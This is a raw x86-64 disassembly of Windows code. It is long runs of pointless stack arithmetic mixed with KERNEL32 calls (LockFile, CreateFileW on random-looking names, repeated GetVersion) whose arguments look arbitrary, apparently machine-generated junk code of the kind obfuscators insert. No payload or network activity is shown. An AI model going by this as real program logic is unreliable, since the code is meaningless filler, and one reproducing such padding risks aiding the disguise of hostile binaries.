mov rax, qword [0x140369d30]
mov rcx, qword [rsp + 0x12ea8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9bf4], eax
mov rax, qword [rsp + 0x13a38]
movzx eax, byte [rax]
mov byte [rsp + 0x75e], al
movzx eax, word [rsp + 0x178c]
mov rcx, qword [rsp + 0x131e8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13500]
mov word [rcx], ax
mov rax, qword [rsp + 0x13c48]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140369bec]
shl eax, cl
mov rcx, qword [rsp + 0x136c0]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x2f23
mov r9d, 0x2f76
mov r8d, 0x3158
mov edx, 0x303e
mov rcx, qword [rsp + 0x13c58]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9ce0], eax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x4acb0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9af8], eax
mov rax, qword [rsp + 0x12d28]
mov rcx, qword [rsp + 0x131f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6658], eax
mov rax, qword [0x140369dc8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x997c]
sar eax, cl
mov dword [rsp + 0x9198], eax
mov eax, dword [rsp + 0x9ad4]
mov ecx, dword [rsp + 0x9a48]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x140369d70]
mov dword [rcx], eax
lea rax, [rsp + 0x2978]
mov qword [rsp + 0x13d50], rax
lea rdx, [rsp + 0x42db8]
mov rcx, qword [rsp + 0x13388]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9b5c], eax
mov rax, qword [rsp + 0x136a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13708]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x225], al
movsx eax, byte [rsp + 0x559]
mov rcx, qword [rsp + 0x13390]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x66b], al
lea rax, [rsp + 0x2c04]
mov qword [rsp + 0x13d58], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9bc8], eax
mov rax, qword [0x140369dd0]
mov rcx, qword [rsp + 0x13700]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13a50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13768]
mov eax, dword [rax]
mov dword [rsp + 0x9ce4], eax
movzx eax, byte [rsp + 0x243]
mov rcx, qword [rsp + 0x13a88]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x746], al
movzx eax, word [rsp + 0x1a5c]
mov rcx, qword [rsp + 0x13c70]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1310], ax
mov rcx, qword [rsp + 0x12f98]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x13298]
mov eax, dword [rax]
mov dword [0x140369dfc], eax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x4ab90]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9a20], eax
mov rax, qword [rsp + 0x13ca8]
mov eax, dword [rax]
mov dword [rsp + 0x9ce8], eax
mov rax, qword [rsp + 0x13b00]
mov ecx, dword [0x14036245c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8e74], eax
lea rax, [rsp + 0x97b4]
mov qword [rsp + 0x13d60], rax
mov rax, qword [rsp + 0x13578]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bd8]
sub eax, ecx
mov word [rsp + 0x2bc0], ax
movzx eax, byte [rsp + 0x739]
movzx ecx, byte [rsp + 0x49c]
sub eax, ecx
mov byte [rsp + 0x266], al
mov eax, dword [rsp + 0x7804]
mov ecx, dword [rsp + 0x73c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9bec], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9cec], eax
mov rax, qword [rsp + 0x13d40]
mov rcx, qword [rsp + 0x13680]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13cc0]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
lea rax, [rsp + 0x9a94]
mov qword [rsp + 0x13d68], rax
mov eax, dword [rsp + 0x9a48]
mov ecx, dword [rsp + 0x9ce4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [0x140369cc8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9a2c]
mov rcx, qword [rsp + 0x12fa0]
mov qword [rsp + 0x13d70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13d70]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13c68]
mov dword [rcx], eax
lea rax, [rsp + 0x2c20]
mov qword [rsp + 0x13d78], rax
mov rcx, qword [rsp + 0x12df8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [rsp + 0x4b250]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9c2c], eax
movsx eax, byte [rsp + 0x743]
movsx ecx, byte [rsp + 0x512]
shl eax, cl
mov byte [rsp + 0xe3], al
mov rax, qword [rsp + 0x13360]
movzx eax, word [rax]
movzx ecx, word [0x140362494]
and eax, ecx
mov rcx, qword [rsp + 0x139b0]
mov word [rcx], ax
lea rax, [rsp + 0x74f]
mov qword [rsp + 0x13d80], rax
mov eax, dword [rsp + 0x9354]
mov ecx, dword [rsp + 0x9688]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a94], eax
mov eax, dword [rsp + 0x9a5c]
mov dword [rsp + 0x9cf0], eax
mov rax, qword [0x140369bf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c24]
sub eax, ecx
mov rcx, qword [rsp + 0x13448]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x13d88], rax
mov rax, qword [rsp + 0x131d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72d]
or eax, ecx
mov byte [0x140363f0e], al
mov rax, qword [rsp + 0x13620]
mov rcx, qword [rsp + 0x13358]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13978]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13870]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a6c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9124], eax
mov rax, qword [rsp + 0x13938]
mov ecx, dword [rsp + 0x8e74]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13ac0]
mov dword [rcx], eax
lea rax, [rsp + 0x9c9c]
mov qword [rsp + 0x13d90], rax
mov rax, qword [rsp + 0x138a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x133c8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13380]
mov word [rcx], ax
movzx eax, byte [rsp + 0x72f]
mov rcx, qword [0x140369c98]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2b0], al
lea rax, [rsp + 0x9a14]
mov qword [rsp + 0x13d98], rax
mov eax, dword [rsp + 0x526c]
mov ecx, dword [rsp + 0x63d4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x132b8]
mov dword [rcx], eax
lea rax, [rsp + 0x731]
mov qword [0x140369e00], rax
movzx eax, word [rsp + 0x1570]
mov word [rsp + 0x2c44], ax
movzx eax, word [rsp + 0x2bf4]
movzx ecx, word [rsp + 0x2bc0]
add eax, ecx
mov rcx, qword [rsp + 0x13508]
mov word [rcx], ax
lea rax, [rsp + 0x204]
mov qword [rsp + 0x13da0], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x38d0
mov r9d, 0x884
mov r8d, 0x9e1356c1
mov edx, 1
mov rcx, qword [rsp + 0x13a78]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9a3c], eax
mov rax, qword [rsp + 0x13ab0]
mov rcx, qword [rsp + 0x13c28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7770], eax
mov rax, qword [rsp + 0x13450]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9bdc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7254], eax
lea rax, [rsp + 0x9c8c]
mov qword [rsp + 0x13da8], rax
mov eax, dword [rsp + 0x9c38]
mov rcx, qword [rsp + 0x139a0]
mov qword [rsp + 0x13db0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13db0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9a2c], eax
mov eax, dword [rsp + 0x9b18]
mov dword [rsp + 0x9cf4], eax
movzx eax, byte [rsp + 0x737]
mov rcx, qword [rsp + 0x13878]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x1b8], al
movzx eax, word [0x140362450]
movzx ecx, word [rsp + 0x210c]
sar eax, cl
mov rcx, qword [0x140369df0]
mov word [rcx], ax
mov rax, qword [rsp + 0x12ed8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ef4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d88]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x4b370]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9c18], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.C8NboP54ZCjV4YKlahTXUYmBq
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13db8], rax
mov rax, qword [rsp + 0x13320]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b30]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x96d8], eax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x4add0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9980], eax
mov rax, qword [rsp + 0x139d8]
mov rcx, qword [rsp + 0x13c98]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6b08], eax
lea rax, [rsp + 0x9960]
mov qword [rsp + 0x13dc0], rax
mov rax, qword [0x140369dc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13c70]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x13930]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x136a8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x12f28]
mov byte [rcx], al
lea rax, [rsp + 0x2c04]
mov qword [rsp + 0x13dc8], rax
mov edx, 0x12f8
mov rcx, qword [rsp + 0x12be0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9cf8], eax
movsx eax, byte [0x1403525a2]
mov rcx, qword [rsp + 0x13bd8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x748], al
mov eax, dword [rsp + 0x9c28]
mov dword [0x140369e08], eax
mov rax, qword [rsp + 0x139b8]
mov eax, dword [rax]
mov dword [rsp + 0x9cfc], eax
mov rax, qword [rsp + 0x13da0]
movzx eax, byte [rax]
movzx ecx, byte [0x140363ede]
and eax, ecx
mov rcx, qword [rsp + 0x13218]
mov byte [rcx], al
mov rax, qword [rsp + 0x13360]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b9c]
sub eax, ecx
mov rcx, qword [rsp + 0x13058]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0x12ec0]
mov rcx, qword [rsp + 0x13a18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6798], eax
mov rax, qword [rsp + 0x13418]
mov eax, dword [rax]
mov ecx, dword [0x140362460]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x645c], eax
mov rax, qword [rsp + 0x13c48]
mov eax, dword [rax]
mov dword [rsp + 0x9d00], eax
mov eax, dword [rsp + 0x81d0]
mov ecx, dword [rsp + 0x5610]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9bec], eax
lea rax, [0x140369c88]
mov qword [rsp + 0x13dd0], rax
movzx eax, byte [rsp + 0x204]
mov rcx, qword [rsp + 0x13878]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x140363efe], al
mov eax, dword [0x140362490]
mov rcx, qword [rsp + 0x13b78]
mov qword [rsp + 0x13dd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13dd8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x13818]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x844
mov r9d, 0x343d
mov r8d, 0x3f9a
mov edx, 0x1b33
mov rcx, qword [rsp + 0x131c8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9980], eax
mov rax, qword [rsp + 0x13048]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ae4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5784], eax
mov eax, dword [rsp + 0x9c78]
mov dword [rsp + 0x9d04], eax
mov rcx, qword [rsp + 0x13618]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x13768]
mov ecx, dword [0x140369c8c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9aa0], eax
lea rax, [rsp + 0x567c]
mov qword [rsp + 0x13de0], rax
movsx eax, byte [rsp + 0x738]
movsx ecx, byte [rsp + 0x74b]
sub eax, ecx
mov byte [rsp + 0x749], al
mov rax, qword [rsp + 0x12ec8]
movsx eax, word [rax]
movsx ecx, word [0x140369c60]
sub eax, ecx
mov rcx, qword [rsp + 0x137f0]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.OkxADwiuuhpcAoY7effOoo63jR7iR
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13de8], rax
mov rax, qword [rsp + 0x13528]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x134c8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2e0], al
movzx eax, word [rsp + 0x2b8c]
movzx ecx, word [rsp + 0x2bc0]
sub eax, ecx
mov word [0x1403624a0], ax
mov rax, qword [0x140369d68]
mov ecx, dword [rsp + 0x99b8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x954c], eax
lea rax, [rsp + 0x8e2c]
mov qword [rsp + 0x13df0], rax
mov rax, qword [rsp + 0x13308]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x25a0]
add eax, ecx
mov rcx, qword [rsp + 0x13be0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x225]
movzx ecx, byte [rsp + 0x1f3]
add eax, ecx
mov rcx, qword [rsp + 0x12f28]
mov byte [rcx], al
mov rcx, qword [rsp + 0x13bc8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9a58], eax
lea rax, [rsp + 0x82a8]
mov qword [rsp + 0x13df8], rax
mov rax, qword [rsp + 0x12f00]
mov rcx, qword [0x140369c00]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13d38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13a70]
mov eax, dword [rax]
mov dword [rsp + 0x9d08], eax
mov rax, qword [rsp + 0x134c0]
mov ecx, dword [rsp + 0x9c40]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9c90], eax
lea rax, [rsp + 0x74c]
mov qword [0x140369e10], rax
lea rax, [0x140362494]
mov qword [rsp + 0x13e00], rax
mov eax, dword [rsp + 0x9a9c]
movzx ecx, al
mov eax, dword [rsp + 0x9ac4]
shl eax, cl
mov dword [rsp + 0x9be4], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x38d0
mov r8d, 0x884
mov edx, 0xb9
mov rcx, qword [rsp + 0x13a78]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9cb0], eax
mov eax, dword [rsp + 0x9678]
mov rcx, qword [rsp + 0x13b08]
mov qword [rsp + 0x13e08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13e08]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9ccc], eax
movsx eax, word [0x140369c60]
mov rcx, qword [rsp + 0x13230]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1640], ax
mov rax, qword [rsp + 0x13d48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x139c0]
movsx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x491], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x13e10], rax
lea rax, [rsp + 0x2bfc]
mov qword [rsp + 0x13e18], rax
movzx eax, byte [rsp + 0x204]
mov rcx, qword [rsp + 0x12f90]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13598]
mov byte [rcx], al
mov eax, dword [rsp + 0x7fc4]
mov ecx, dword [rsp + 0x9a50]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13338]
mov dword [rcx], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xc0b
mov r9d, 0x2802
mov r8d, 0x1ba97e2a
mov edx, 2
mov rcx, qword [rsp + 0x12c88]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9bf0], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a08], eax
mov eax, dword [rsp + 0x8f14]
mov ecx, dword [rsp + 0x58d4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x140369d60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13838]
mov eax, dword [rax]
mov dword [rsp + 0x9d0c], eax
mov eax, dword [rsp + 0x57fc]
mov ecx, dword [rsp + 0x99b8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f58]
mov dword [rcx], eax
lea rax, [rsp + 0x9c7c]
mov qword [rsp + 0x13e20], rax
mov dword [rsp + 0x20], 0x315a
mov r9d, 0x2b6f
mov r8d, 0x30eb
mov edx, 0x3d61
mov rcx, qword [rsp + 0x139f0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9d10], eax
mov rcx, qword [rsp + 0x12cf0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x993c], eax
mov rcx, qword [rsp + 0x13458]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x2b88]
mov rcx, qword [rsp + 0x13a08]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13cd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x134c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x13b]
and eax, ecx
mov rcx, qword [rsp + 0x13710]
mov byte [rcx], al
lea rax, [rsp + 0x997c]
mov qword [rsp + 0x13e28], rax
mov rax, qword [rsp + 0x13620]
mov rcx, qword [rsp + 0x13df0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x57fc], eax
mov rax, qword [rsp + 0x13808]
mov ecx, dword [rsp + 0x870c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6700], eax
mov eax, dword [rsp + 0x9c20]
mov ecx, dword [rsp + 0x62f0]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x140369cc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13830]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x73a]
sub eax, ecx
mov byte [rsp + 0x13b], al
mov rax, qword [rsp + 0x136e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12e10]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13b68]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.FgLyGTaivdZIa61jtaMmH93h
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13e30], rax
lea rax, [rsp + 0x2bc8]
mov qword [rsp + 0x13e38], rax
movsx eax, byte [rsp + 0x2d1]
movsx ecx, byte [rsp + 0x730]
xor eax, ecx
mov byte [rsp + 0x759], al
lea rax, [0x140362490]
mov qword [rsp + 0x13e40], rax
mov rax, qword [rsp + 0x13ac0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13cd0]
mov qword [rsp + 0x13e48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13e48]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9c68], eax
movzx eax, word [rsp + 0x2bf4]
mov word [rsp + 0x2c48], ax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x4aef0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9c18], eax
movzx eax, byte [rsp + 0x735]
mov rcx, qword [0x140369cb0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x13200]
mov byte [rcx], al
mov rcx, qword [rsp + 0x13290]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x8a60]
mov qword [0x140369e18], rax
mov rax, qword [rsp + 0x13320]
mov rcx, qword [rsp + 0x13e28]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7804], eax
mov rax, qword [rsp + 0x130e8]
mov eax, dword [rax]
mov dword [rsp + 0x9d14], eax
mov rax, qword [rsp + 0x13238]
mov rcx, qword [rsp + 0x13518]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13338]
mov dword [rcx], eax
mov rax, qword [rsp + 0x134c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c8]
and eax, ecx
mov byte [rsp + 0x37f], al
movzx eax, word [rsp + 0x2c34]
movzx ecx, word [rsp + 0x2324]
sub eax, ecx
mov rcx, qword [rsp + 0x13af8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13018]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c3c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ca8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13c98]
mov eax, dword [rax]
mov dword [rsp + 0x9d18], eax
mov rax, qword [0x140369c00]
mov rcx, qword [rsp + 0x134f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13bc0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x86e8]
mov ecx, dword [rsp + 0x9cac]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x140369d70]
mov dword [rcx], eax
lea rax, [rsp + 0x9aac]
mov qword [rsp + 0x13e50], rax
movsx eax, word [rsp + 0x2bc8]
mov rcx, qword [rsp + 0x137a0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12ec8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12ea0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x736]
or eax, ecx
mov byte [rsp + 0x512], al
mov rax, qword [rsp + 0x13598]
movzx eax, byte [rax]
mov rcx, qword [0x140369c48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x702], al
mov rax, qword [rsp + 0x135c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13500]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2324], ax
mov rax, qword [rsp + 0x12de0]
mov eax, dword [rax]
mov dword [rsp + 0x9d1c], eax
mov rax, qword [rsp + 0x13030]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13688]
mov qword [rsp + 0x13e58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13e58]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13730]
mov dword [rcx], eax
lea rax, [rsp + 0x2ba4]
mov qword [rsp + 0x13e60], rax
mov rax, qword [rsp + 0x13da0]
movzx eax, byte [rax]
mov byte [0x140363f1f], al
mov eax, dword [rsp + 0x9998]
movzx ecx, al
mov eax, dword [rsp + 0x9aa8]
shr eax, cl
mov dword [rsp + 0x940c], eax
mov rax, qword [rsp + 0x13c98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9bb0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b38], eax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x4b490]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9d20], eax
lea rax, [rsp + 0x9ae4]
mov qword [rsp + 0x13e68], rax
mov rax, qword [rsp + 0x13418]
mov ecx, dword [0x140362490]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9a18], eax
mov rax, qword [rsp + 0x131e8]
movzx eax, word [rax]
mov word [rsp + 0x2c4c], ax
mov rax, qword [rsp + 0x13bb8]
movzx eax, byte [rax]
imul eax, eax, 0x9f
mov rcx, qword [rsp + 0x13830]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b14], eax
mov eax, dword [rsp + 0x99b4]
mov ecx, dword [rsp + 0x6218]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c68], eax
mov rax, qword [rsp + 0x13890]
mov rcx, qword [rsp + 0x13198]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x52fc], eax
movsx eax, word [rsp + 0x2094]
movsx ecx, word [0x14036247c]
and eax, ecx
mov word [0x1403624a4], ax
movsx eax, byte [rsp + 0x491]
movsx ecx, byte [rsp + 0x75c]
add eax, ecx
mov byte [rsp + 0x72c], al
lea rax, [rsp + 0x394]
mov qword [rsp + 0x13e70], rax
mov rax, qword [rsp + 0x13b20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x139b0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13d00]
mov word [rcx], ax
mov rax, qword [rsp + 0x12de0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9abc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x130f8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9a34]
mov dword [rsp + 0x9d24], eax
mov rax, qword [rsp + 0x132d0]
mov ecx, dword [0x140369de0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x136f8]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x133e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x5610]
mov ecx, dword [rsp + 0x9b88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8340], eax
mov rax, qword [rsp + 0x12ff0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9acc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b20], eax
movzx eax, byte [0x140363edf]
mov rcx, qword [rsp + 0x13918]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x13da0]
mov byte [rcx], al
mov rax, qword [rsp + 0x138a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13e60]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x140362458], ax
lea rax, [rsp + 0x9a00]
mov qword [rsp + 0x13e78], rax
mov eax, dword [rsp + 0x9b78]
mov rcx, qword [rsp + 0x13720]
mov qword [rsp + 0x13e80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13e80]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13b98]
mov dword [rcx], eax
lea rax, [rsp + 0x9c24]
mov qword [rsp + 0x13e88], rax
mov rax, qword [0x140369bd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b50]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x91dc], eax
mov rax, qword [rsp + 0x13710]
movzx eax, byte [rax]
mov byte [rsp + 0x75f], al
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bb4]
and eax, ecx
mov rcx, qword [rsp + 0x13c70]
mov word [rcx], ax
mov rax, qword [rsp + 0x13bf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x281]
sub eax, ecx
mov rcx, qword [rsp + 0x139c0]
mov byte [rcx], al
lea rax, [rsp + 0x2094]
mov qword [rsp + 0x13e90], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9c14], eax
mov eax, dword [rsp + 0x69c8]
mov ecx, dword [rsp + 0x5418]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x140369d68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13030]
